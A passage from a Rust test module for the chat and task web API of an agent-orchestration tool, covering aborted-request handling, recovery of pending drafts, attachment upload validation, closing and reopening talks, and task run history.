15180    /// aborting samples a range of points the task's execution can be at,
15181    /// including where the old code sat waiting on its second disk round
15182    /// trip - confirmed by reverting this fix locally and watching this same
15183    /// sweep catch a talk stuck with the operator's turn recorded and no
15184    /// reply ever following.
15185    #[tokio::test]
15186    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15187        let tmp = TempDir::new().expect("tempdir");
15188        let repo = tmp.path().join("repo");
15189        std::fs::create_dir_all(&repo).expect("repo dir");
15190        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15191        let home = TempDir::new().expect("temp home");
15192        let talks = Talks::at(home.path().join("talks"));
15193        let ui = Arc::new(
15194            Ui::new(
15195                Queue::at(home.path().join("queue")),
15196                Questions::at(home.path().join("questions")),
15197                talks.clone(),
15198                home.path().join("runs"),
15199                home.path().to_path_buf(),
15200                repo.clone(),
15201            )
15202            .with_worktrees_root(home.path().join("wt")),
15203        );
15204        let cfg = config_for(&repo).await.expect("discover config");
15205
15206        for delay in 0..40u32 {
15207            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15208            let id = talk.id.clone();
15209
15210            let handler = tokio::spawn(talk_say(
15211                State(Arc::clone(&ui)),
15212                Path(id.clone()),
15213                Ok(Json(NewTalkTurn {
15214                    reply_to: None,
15215                    text: "what does the queue module do?".to_owned(),
15216                    attachments: Vec::new(),
15217                })),
15218            ));
15219            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
15220            handler.abort();
15221            // Wait out the abort so the next iteration's talk does not race
15222            // this one's still-unwinding turn guard.
15223            let _ = handler.await;
15224
15225            let mut turns = 0;
15226            for _ in 0..SETTLE_STEPS {
15227                if let Ok(fresh) = talks.get(&id) {
15228                    turns = fresh.turns.len();
15229                    if turns != 1 {
15230                        break;
15231                    }
15232                }
15233                tokio::time::sleep(Duration::from_millis(10)).await;
15234            }
15235            assert_ne!(
15236                turns, 1,
15237                "delay {delay}: talk {id} recorded the operator's turn but \
15238                 the agent never answered - the reply task was never \
15239                 started after the handler future was dropped"
15240            );
15241        }
15242    }
15243
15244    /// The same drop, landing on `talk_say`'s other durable write.
15245    ///
15246    /// When a turn is already running, the busy branch persists the
15247    /// operator's text as a queued draft and then reclaims the turn slot if
15248    /// the holder gave it up in the meantime - and whoever reclaims owes that
15249    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
15250    /// which finishes whether or not the future awaiting it is still there,
15251    /// so a handler dropped at that `.await` used to leave the draft written
15252    /// to disk with the reclaimed guard dropped unread and no drainer ever
15253    /// started: the message sat queued until some unrelated later `say`
15254    /// happened to pick it up.
15255    ///
15256    /// This used to drive the handler future by hand, polling it a fixed
15257    /// number of times to park it at the `.await` where it asks for the turn
15258    /// and finds it busy, before the reclaim's slot-free case could be set up
15259    /// underneath it. That assumed a fixed number of polls lands at a fixed
15260    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
15261    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
15262    /// poll, so any number of this handler's several `blocking` awaits can
15263    /// collapse into one poll under load, landing the drive somewhere other
15264    /// than intended - including, occasionally, straight past the handler's
15265    /// own completion, which made polling it again panic with "async fn
15266    /// resumed after completion". No poll count fixes that; the handler's
15267    /// progress simply is not something a caller outside it can observe by
15268    /// counting.
15269    ///
15270    /// [`BusyQueueGate`] replaces the poll count with a real stop point
15271    /// inside the write itself, so the interleaving under test is pinned by
15272    /// an event instead of a guess: the gate fires only once the handler has
15273    /// actually decided `Busy` and is about to persist the draft, and it
15274    /// blocks that write until the test lets it through. Between those two
15275    /// moments the test drains the turn the handler found busy - through
15276    /// `drain_loop`, the protocol's other half - and then aborts the handler
15277    /// task outright, the same way axum drops a disconnected request's
15278    /// future. The write, and the reclaim it may do, run to completion
15279    /// regardless: they live in the `tokio::spawn` task the busy branch hands
15280    /// to the runtime before ever touching the gate, wholly independent of
15281    /// whether the handler that started it is still around - which is what
15282    /// this test is actually checking. A drainer other than that reclaim
15283    /// cannot exist here: the test's own `drain_loop` call happens before the
15284    /// gate opens, so it runs while the queue is still empty and hands the
15285    /// turn straight back rather than draining anything, closing off the
15286    /// possibility of the final assertion passing without the reclaim ever
15287    /// having done its job.
15288    #[tokio::test]
15289    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
15290        let tmp = TempDir::new().expect("tempdir");
15291        let repo = tmp.path().join("repo");
15292        std::fs::create_dir_all(&repo).expect("repo dir");
15293        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15294        let home = TempDir::new().expect("temp home");
15295        let talks = Talks::at(home.path().join("talks"));
15296        let ui = Arc::new(
15297            Ui::new(
15298                Queue::at(home.path().join("queue")),
15299                Questions::at(home.path().join("questions")),
15300                talks.clone(),
15301                home.path().join("runs"),
15302                home.path().to_path_buf(),
15303                repo.clone(),
15304            )
15305            .with_worktrees_root(home.path().join("wt")),
15306        );
15307        let cfg = config_for(&repo).await.expect("discover config");
15308
15309        for attempt in 0..3u32 {
15310            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15311            let id = talk.id.clone();
15312            // A turn is already running, which is what sends `talk_say` down
15313            // the busy branch.
15314            let turn_guard = ui
15315                .begin_talk_turn(&id)
15316                .expect("claim the turn")
15317                .expect("a fresh talk owes nobody a turn");
15318
15319            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15320            let (release_tx, release_rx) = std::sync::mpsc::channel();
15321            ui.set_busy_queue_gate(BusyQueueGate {
15322                reached: reached_tx,
15323                release: release_rx,
15324            });
15325
15326            let handler = tokio::spawn(talk_say(
15327                State(Arc::clone(&ui)),
15328                Path(id.clone()),
15329                Ok(Json(NewTalkTurn {
15330                    reply_to: None,
15331                    text: "what does the queue module do?".to_owned(),
15332                    attachments: Vec::new(),
15333                })),
15334            ));
15335
15336            // Wait for the busy branch to actually reach the gate, rather
15337            // than for any fixed number of polls of anything - a bounded
15338            // wait rather than a bare `.await` so a regression that never
15339            // reaches the gate fails the test instead of hanging it.
15340            tokio::time::timeout(Duration::from_secs(5), reached_rx)
15341                .await
15342                .unwrap_or_else(|_| {
15343                    panic!(
15344                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15345                    )
15346                })
15347                .expect("the busy branch dropped the gate without using it");
15348            assert!(
15349                crate::consult::try_publication_guard(&talks, &id)
15350                    .expect("publication fence")
15351                    .is_none(),
15352                "a queued worker cannot promote text before its successor reservation is published"
15353            );
15354
15355            // A listener replacement queues its writer behind this accepted
15356            // mutation. Even disconnecting the HTTP caller must not release
15357            // admission before the write-to-worker handoff has completed.
15358            let closing = Arc::clone(&ui.admissions).write_owned();
15359            tokio::pin!(closing);
15360            std::future::poll_fn(|cx| {
15361                assert!(closing.as_mut().poll(cx).is_pending());
15362                std::task::Poll::Ready(())
15363            })
15364            .await;
15365            assert!(
15366                ui.begin_admission().is_err(),
15367                "replacement blocks later admissions"
15368            );
15369
15370            // The turn that was running now finishes and gives the slot up
15371            // the way a real one does - through `drain_loop`, which finds
15372            // nothing queued yet (the write is still held at the gate) and
15373            // releases. The handler, parked inside `spawn_blocking` on the
15374            // other side of the gate, still believes the talk is busy -
15375            // exactly the interleaving the reclaim exists for.
15376            let running = talks.get(&id).expect("reload talk");
15377            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15378
15379            // Drop the handler future now, the way a reloading phone drops
15380            // it: suspended waiting on the busy branch's answer, having
15381            // itself made no more progress since it handed the write off.
15382            handler.abort();
15383            let _ = handler.await;
15384            std::future::poll_fn(|cx| {
15385                assert!(
15386                    closing.as_mut().poll(cx).is_pending(),
15387                    "HTTP cancellation must not abandon a publishing transaction"
15388                );
15389                std::task::Poll::Ready(())
15390            })
15391            .await;
15392            assert!(
15393                crate::consult::try_publication_guard(&talks, &id)
15394                    .expect("publication fence after disconnect")
15395                    .is_none()
15396            );
15397
15398            // Only now let the gated write proceed. It persists the draft
15399            // and reclaims the now-free slot from inside the task the busy
15400            // branch already spawned - unaffected by the handler's abort
15401            // above, since that task was independent of the handler's own
15402            // future from the moment it was spawned.
15403            let _ = release_tx.send(());
15404            drop(
15405                tokio::time::timeout(Duration::from_secs(5), closing)
15406                    .await
15407                    .expect("short admission transaction should release for replacement"),
15408            );
15409            assert!(
15410                crate::consult::try_publication_guard(&talks, &id)
15411                    .expect("publication fence after acknowledgement")
15412                    .is_some(),
15413                "the publication fence is not retained by the long response"
15414            );
15415
15416            // A settled talk: the draft drained into an operator turn and
15417            // answered.
15418            let mut fresh = talks.get(&id).expect("reload talk");
15419            for _ in 0..SETTLE_STEPS {
15420                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15421                    break;
15422                }
15423                tokio::time::sleep(Duration::from_millis(10)).await;
15424                fresh = talks.get(&id).expect("reload talk");
15425            }
15426            assert!(
15427                fresh.pending.is_empty() && fresh.turns.len() == 2,
15428                "attempt {attempt}: talk {id} left the operator's text queued \
15429                 with no drainer - the reclaimed turn was dropped along with \
15430                 the handler future (pending {:?}, {} turns)",
15431                fresh.pending,
15432                fresh.turns.len()
15433            );
15434        }
15435    }
15436
15437    #[tokio::test]
15438    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15439        let (_tmp, _repo, f) = talk_fixture().await;
15440        let id = f.post("/api/talks", None).await.json()["id"]
15441            .as_str()
15442            .expect("id")
15443            .to_owned();
15444        let store = f.talks();
15445        let mut recovered = store.get(&id).expect("opened talk");
15446        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15447            .expect("persist pending draft without a live turn");
15448
15449        let edited = f
15450            .post(
15451                &format!("/api/talks/{id}/pending/edit"),
15452                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15453            )
15454            .await;
15455        assert_eq!(edited.status, 200, "{}", edited.body);
15456        assert!(edited.json()["thinking"].as_bool().unwrap());
15457
15458        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15459        for _ in 0..SETTLE_STEPS {
15460            if detail["turns"].as_array().expect("turns").len() == 2 {
15461                break;
15462            }
15463            tokio::time::sleep(Duration::from_millis(10)).await;
15464            detail = f.get(&format!("/api/talks/{id}")).await.json();
15465        }
15466        let turns = detail["turns"].as_array().expect("turns");
15467        assert_eq!(
15468            turns.len(),
15469            2,
15470            "the recovered draft must run once: {detail}"
15471        );
15472        assert_eq!(turns[0]["body"], "corrected");
15473        assert_eq!(detail["pending"], "");
15474    }
15475
15476    #[tokio::test]
15477    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15478        let tmp = TempDir::new().expect("tempdir");
15479        let repo = tmp.path().join("repo");
15480        std::fs::create_dir_all(&repo).expect("repo dir");
15481        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15482        let f = Fixture::with_repo(repo).await;
15483        let id = f.post("/api/talks", None).await.json()["id"]
15484            .as_str()
15485            .expect("id")
15486            .to_owned();
15487        let store = f.talks();
15488        let mut recovered = store.get(&id).expect("opened talk");
15489        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15490            .expect("persist pending draft without a live turn");
15491
15492        let refused = f
15493            .post(
15494                &format!("/api/talks/{id}/say"),
15495                Some(r#"{"text":"new message"}"#),
15496            )
15497            .await;
15498        assert_eq!(refused.status, 409, "{}", refused.body);
15499        assert!(refused.body.contains("resume"), "{}", refused.body);
15500        let saved = store.get(&id).expect("draft remains after refusal");
15501        assert!(saved.turns.is_empty());
15502        assert_eq!(saved.pending, "saved before restart");
15503
15504        let say_path = format!("/api/talks/{id}/say");
15505        let (first, second) = tokio::join!(
15506            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15507            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15508        );
15509        assert_eq!(first.status, 409, "{}", first.body);
15510        assert_eq!(second.status, 409, "{}", second.body);
15511        let saved = store
15512            .get(&id)
15513            .expect("draft remains after concurrent refusals");
15514        assert!(saved.turns.is_empty());
15515        assert_eq!(saved.pending, "saved before restart");
15516
15517        let resumed = f
15518            .post(&format!("/api/talks/{id}/pending/resume"), None)
15519            .await;
15520        assert_eq!(resumed.status, 202, "{}", resumed.body);
15521        let duplicate = f
15522            .post(&format!("/api/talks/{id}/pending/resume"), None)
15523            .await;
15524        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15525
15526        for _ in 0..SETTLE_STEPS {
15527            if store.get(&id).expect("talk").turns.len() == 2 {
15528                break;
15529            }
15530            tokio::time::sleep(Duration::from_millis(10)).await;
15531        }
15532        let finished = store.get(&id).expect("finished talk");
15533        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15534        assert_eq!(finished.turns[0].body, "saved before restart");
15535        assert!(finished.pending.is_empty());
15536    }
15537
15538    #[tokio::test]
15539    async fn an_image_only_recovered_draft_resumes_without_text() {
15540        let (_tmp, _repo, f) = talk_fixture().await;
15541        let id = f.post("/api/talks", None).await.json()["id"]
15542            .as_str()
15543            .expect("id")
15544            .to_owned();
15545        let uploaded = f
15546            .post_bytes(
15547                &format!("/api/talks/{id}/attachments"),
15548                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15549                PNG_BYTES,
15550            )
15551            .await;
15552        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15553        let attachment = f
15554            .talks()
15555            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15556            .expect("attachment metadata")
15557            .expect("stored attachment");
15558        let store = f.talks();
15559        let mut recovered = store.get(&id).expect("opened talk");
15560        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15561
15562        let resumed = f
15563            .post(&format!("/api/talks/{id}/pending/resume"), None)
15564            .await;
15565        assert_eq!(resumed.status, 202, "{}", resumed.body);
15566        for _ in 0..SETTLE_STEPS {
15567            if store.get(&id).expect("talk").turns.len() == 2 {
15568                break;
15569            }
15570            tokio::time::sleep(Duration::from_millis(10)).await;
15571        }
15572        let finished = store.get(&id).expect("finished talk");
15573        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15574        assert!(finished.turns[0].body.is_empty());
15575        assert_eq!(finished.turns[0].attachments.len(), 1);
15576        assert!(finished.pending_attachments.is_empty());
15577    }
15578
15579    #[tokio::test]
15580    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15581        let (_tmp, _repo, f) = talk_fixture().await;
15582        let id = f.post("/api/talks", None).await.json()["id"]
15583            .as_str()
15584            .expect("id")
15585            .to_owned();
15586        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15587        assert_eq!(closed.status, 200, "{}", closed.body);
15588        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15589            .expect("serialize closed talk");
15590        for (path, body) in [
15591            (format!("/api/talks/{id}/pending/resume"), None),
15592            (
15593                format!("/api/talks/{id}/pending/clear"),
15594                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15595            ),
15596            (
15597                format!("/api/talks/{id}/pending/edit"),
15598                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15599            ),
15600            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15601        ] {
15602            let response = f.post(&path, body).await;
15603            assert_eq!(response.status, 409, "{}", response.body);
15604        }
15605        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15606            .expect("serialize closed talk");
15607        assert_eq!(
15608            after_clear, before_clear,
15609            "clear must not rewrite a closed talk"
15610        );
15611    }
15612
15613    /// Keeps both claims observable long enough to exercise the distinction
15614    /// between one busy talk and a globally locked Chat surface.
15615    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15616
15617    #[tokio::test]
15618    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15619        let tmp = TempDir::new().expect("tempdir");
15620        let repo = tmp.path().join("repo");
15621        std::fs::create_dir_all(&repo).expect("repo dir");
15622        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15623        let f = Fixture::with_repo(repo).await;
15624        let id_a = f.post("/api/talks", None).await.json()["id"]
15625            .as_str()
15626            .unwrap()
15627            .to_owned();
15628        let id_b = f.post("/api/talks", None).await.json()["id"]
15629            .as_str()
15630            .unwrap()
15631            .to_owned();
15632
15633        let a = f
15634            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15635            .await;
15636        assert_eq!(a.status, 202, "{}", a.body);
15637        assert_eq!(a.json()["thinking"], true);
15638        let b = f
15639            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15640            .await;
15641        assert_eq!(b.status, 202, "{}", b.body);
15642        assert_eq!(b.json()["thinking"], true);
15643
15644        let listed = f.get("/api/talks").await.json();
15645        for id in [&id_a, &id_b] {
15646            let view = listed
15647                .as_array()
15648                .unwrap()
15649                .iter()
15650                .find(|talk| talk["id"] == *id)
15651                .unwrap();
15652            assert_eq!(view["thinking"], true, "{listed}");
15653        }
15654        let repeated = f
15655            .post(
15656                &format!("/api/talks/{id_a}/say"),
15657                Some(r#"{"text":"again"}"#),
15658            )
15659            .await;
15660        assert_eq!(repeated.status, 202, "{}", repeated.body);
15661        assert_eq!(repeated.json()["pending"], "again");
15662    }
15663
15664    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
15665    /// few more, since real uploads are never exactly eight bytes.
15666    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15667
15668    #[tokio::test]
15669    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15670        let f = Fixture::start().await;
15671        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15672
15673        let res = f
15674            .post_bytes(
15675                &format!("/api/talks/{id}/attachments"),
15676                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15677                PNG_BYTES,
15678            )
15679            .await;
15680        assert_eq!(res.status, 201, "{}", res.body);
15681        let body = res.json();
15682        assert_eq!(body["name"], "shot.png");
15683        assert_eq!(body["mime"], "image/png");
15684        assert_eq!(body["bytes"], PNG_BYTES.len());
15685        let att_id = body["id"].as_str().expect("id").to_owned();
15686        assert_eq!(
15687            att_id.len(),
15688            32,
15689            "the id must never be a client-suppliable path: {att_id}"
15690        );
15691
15692        let got = f
15693            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15694            .await;
15695        assert_eq!(got.status, 200, "{}", got.body);
15696        assert_eq!(got.header("content-type"), Some("image/png"));
15697        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15698        assert_eq!(got.bytes, PNG_BYTES);
15699    }
15700
15701    #[tokio::test]
15702    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15703        let f = Fixture::start().await;
15704        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15705
15706        // SVG can carry a `<script>`, so it is never on the whitelist even
15707        // though it is a real IANA image type.
15708        let svg = f
15709            .post_bytes(
15710                &format!("/api/talks/{id}/attachments"),
15711                &[("Content-Type", "image/svg+xml")],
15712                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15713            )
15714            .await;
15715        assert!(
15716            (400..500).contains(&svg.status),
15717            "svg must be refused: {} {}",
15718            svg.status,
15719            svg.body
15720        );
15721        assert!(svg.body.contains("SVG"), "{}", svg.body);
15722
15723        let text = f
15724            .post_bytes(
15725                &format!("/api/talks/{id}/attachments"),
15726                &[("Content-Type", "text/plain")],
15727                b"just some text",
15728            )
15729            .await;
15730        assert!(
15731            (400..500).contains(&text.status),
15732            "an unlisted type must be refused: {} {}",
15733            text.status,
15734            text.body
15735        );
15736
15737        // The declared type is a real png, but the size check runs before
15738        // the bytes are even looked at.
15739        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15740        let big = f
15741            .post_bytes(
15742                &format!("/api/talks/{id}/attachments"),
15743                &[("Content-Type", "image/png")],
15744                &oversized,
15745            )
15746            .await;
15747        assert_eq!(
15748            big.status,
15749            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15750            "{}",
15751            big.body
15752        );
15753    }
15754
15755    #[tokio::test]
15756    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15757        let f = Fixture::start().await;
15758        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15759
15760        // A whitelisted `Content-Type`, but bytes that are not actually a
15761        // png - the declared header alone is never trusted.
15762        let res = f
15763            .post_bytes(
15764                &format!("/api/talks/{id}/attachments"),
15765                &[("Content-Type", "image/png")],
15766                b"<html>not a picture</html>",
15767            )
15768            .await;
15769        assert!((400..500).contains(&res.status), "{}", res.body);
15770    }
15771
15772    #[tokio::test]
15773    async fn an_unknown_attachment_id_is_a_404() {
15774        let f = Fixture::start().await;
15775        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15776
15777        let res = f
15778            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15779            .await;
15780        assert_eq!(res.status, 404, "{}", res.body);
15781    }
15782
15783    #[tokio::test]
15784    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15785        let f = Fixture::start().await;
15786        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15787
15788        let uploaded = f
15789            .post_bytes(
15790                &format!("/api/talks/{id}/attachments"),
15791                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15792                PNG_BYTES,
15793            )
15794            .await;
15795        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15796        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15797
15798        let res = f
15799            .post(
15800                &format!("/api/talks/{id}/say"),
15801                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15802            )
15803            .await;
15804        assert_eq!(res.status, 202, "{}", res.body);
15805        let queued = res.json();
15806        let turns = queued["turns"].as_array().expect("turns array");
15807        assert_eq!(
15808            turns.len(),
15809            1,
15810            "an empty body with an attachment is still a turn: {queued}"
15811        );
15812        assert_eq!(turns[0]["who"], "operator");
15813        assert_eq!(turns[0]["body"], "");
15814        let atts = turns[0]["attachments"]
15815            .as_array()
15816            .expect("attachments array");
15817        assert_eq!(atts.len(), 1);
15818        assert_eq!(atts[0]["id"], att_id);
15819        assert_eq!(atts[0]["mime"], "image/png");
15820
15821        // Not only in the response: `record` flushes to disk before the
15822        // agent's own turn is even spawned.
15823        let on_disk = f.talks().get(&id).expect("get");
15824        assert_eq!(on_disk.turns[0].attachments.len(), 1);
15825        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15826    }
15827
15828    #[tokio::test]
15829    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15830        let f = Fixture::start().await;
15831        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15832
15833        let res = f
15834            .post(
15835                &format!("/api/talks/{id}/say"),
15836                Some(&format!(
15837                    r#"{{"text":"hi","attachments":["{}"]}}"#,
15838                    "a".repeat(32)
15839                )),
15840            )
15841            .await;
15842        assert!((400..500).contains(&res.status), "{}", res.body);
15843        assert!(res.body.contains("unknown attachment"), "{}", res.body);
15844
15845        let on_disk = f.talks().get(&id).expect("get");
15846        assert!(
15847            on_disk.turns.is_empty(),
15848            "a rejected attachment id must not partially record the turn: {:?}",
15849            on_disk.turns
15850        );
15851    }
15852
15853    #[tokio::test]
15854    async fn talk_close_makes_the_talk_refuse_further_turns() {
15855        let f = Fixture::start().await;
15856        let id = seed_talk(&f, "20260904-014455-cd34", "open");
15857
15858        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15859        assert_eq!(closed.status, 200, "{}", closed.body);
15860        assert_eq!(closed.json()["status"], "closed");
15861
15862        // Idempotent: closing an already-closed talk is not an error.
15863        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15864        assert_eq!(closed_again.status, 200);
15865        assert_eq!(closed_again.json()["status"], "closed");
15866
15867        let said = f
15868            .post(
15869                &format!("/api/talks/{id}/say"),
15870                Some(r#"{"text":"too late"}"#),
15871            )
15872            .await;
15873        assert_eq!(said.status, 409, "{}", said.body);
15874    }
15875
15876    #[tokio::test]
15877    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15878        let (_tmp, _repo, f) = talk_fixture().await;
15879        let id = f.post("/api/talks", None).await.json()["id"]
15880            .as_str()
15881            .expect("id")
15882            .to_owned();
15883        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15884        assert_eq!(closed.status, 200, "{}", closed.body);
15885
15886        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15887        assert_eq!(reopened.status, 200, "{}", reopened.body);
15888        assert_eq!(reopened.json()["status"], "open");
15889
15890        // Idempotent: reopening an already-open talk is not an error.
15891        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15892        assert_eq!(reopened_again.status, 200);
15893        assert_eq!(reopened_again.json()["status"], "open");
15894
15895        let said = f
15896            .post(
15897                &format!("/api/talks/{id}/say"),
15898                Some(r#"{"text":"still there?"}"#),
15899            )
15900            .await;
15901        assert_eq!(
15902            said.status, 202,
15903            "a reopened talk accepts turns again: {}",
15904            said.body
15905        );
15906    }
15907
15908    #[tokio::test]
15909    async fn talk_reopen_on_an_unknown_id_is_404() {
15910        let f = Fixture::start().await;
15911        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15912        assert_eq!(res.status, 404, "{}", res.body);
15913    }
15914
15915    #[tokio::test]
15916    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15917        let f = Fixture::start().await;
15918        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15919
15920        let deleted = f.delete(&format!("/api/talks/{id}")).await;
15921        assert_eq!(deleted.status, 204, "{}", deleted.body);
15922
15923        let after = f.get(&format!("/api/talks/{id}")).await;
15924        assert_eq!(after.status, 404, "{}", after.body);
15925
15926        let listed = f.get("/api/talks").await.json();
15927        assert!(
15928            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15929            "a deleted talk must not linger in the list: {listed}"
15930        );
15931    }
15932
15933    #[tokio::test]
15934    async fn talk_delete_on_an_unknown_id_is_404() {
15935        let f = Fixture::start().await;
15936        let res = f.delete("/api/talks/nonexistent-id").await;
15937        assert_eq!(res.status, 404, "{}", res.body);
15938    }
15939
15940    /// A task's page lists every run it ever had, in order, and says what kind
15941    /// of attempt each was - including a resume, which re-pushes the same run
15942    /// id, and a run whose record this build cannot read.
15943    #[tokio::test]
15944    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15945        let f = Fixture::start().await;
15946        let (a, b, gone) = (
15947            "20260902-140501-aaaa",
15948            "20260902-140502-bbbb",
15949            "20260902-140503-cccc",
15950        );
15951        write_run(&f.runs(), a, RunStatus::Stalled);
15952        let mut review = RunState::new(
15953            PathBuf::from("/repo/magi"),
15954            "main".to_owned(),
15955            "0123456789abcdef".to_owned(),
15956            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15957                .to_owned(),
15958            Config::default(),
15959        );
15960        review.id = b.to_owned();
15961        review.status = RunStatus::Merged;
15962        write_state(&f.runs(), &review);
15963
15964        let mut task = Task::new(
15965            "retry".to_owned(),
15966            "Do the thing".to_owned(),
15967            PathBuf::from("/repo/magi"),
15968            Source::Human,
15969        );
15970        task.start(a.to_owned());
15971        task.stall("quota");
15972        task.start(a.to_owned());
15973        task.start(b.to_owned());
15974        task.start(gone.to_owned());
15975        // This fixture models an older queue file with repeated run entries.
15976        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15977        f.queue().put(&mut task).expect("file the task");
15978
15979        let res = f.get(&format!("/api/queue/{}", task.id)).await;
15980        assert_eq!(res.status, 200, "{}", res.body);
15981        let v = res.json();
15982        let h = v["history"].as_array().expect("history");
15983        assert_eq!(h.len(), 4, "{v}");
15984        assert_eq!(h[0]["kind"], "competition");
15985        assert_eq!(h[0]["status"], "stalled");
15986        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15987        assert_eq!(h[1]["kind"], "resume", "{v}");
15988        assert!(
15989            h[0]["outcome"]
15990                .as_str()
15991                .unwrap()
15992                .contains("unknown. Pass #2"),
15993            "an earlier pass of a resumed run must not claim the final outcome: {v}"
15994        );
15995        assert!(
15996            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15997            "{v}"
15998        );
15999        assert!(
16000            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16001            "an unrecorded cause must not be narrated as an operator park: {v}"
16002        );
16003        assert_eq!(h[2]["kind"], "review");
16004        assert!(
16005            h[2]["description"]
16006                .as_str()
16007                .unwrap()
16008                .contains("magi/aaaa/A")
16009        );
16010        assert_eq!(h[2]["status"], "merged");
16011        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16012        assert_eq!(v["runs_unreadable"], 1);
16013        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16014        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16015        assert_eq!(nodes[4]["note"], "unreadable");
16016        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16017        assert_eq!(v["instruction"], "Do the thing");
16018        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16019
16020        // The run's own page links back to the task.
16021        let run = f.get(&format!("/api/runs/{a}")).await.json();
16022        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16023
16024        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16025    }
16026
16027    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16028        let mut s = RunState::new(
16029            PathBuf::from("/repo/magi"),
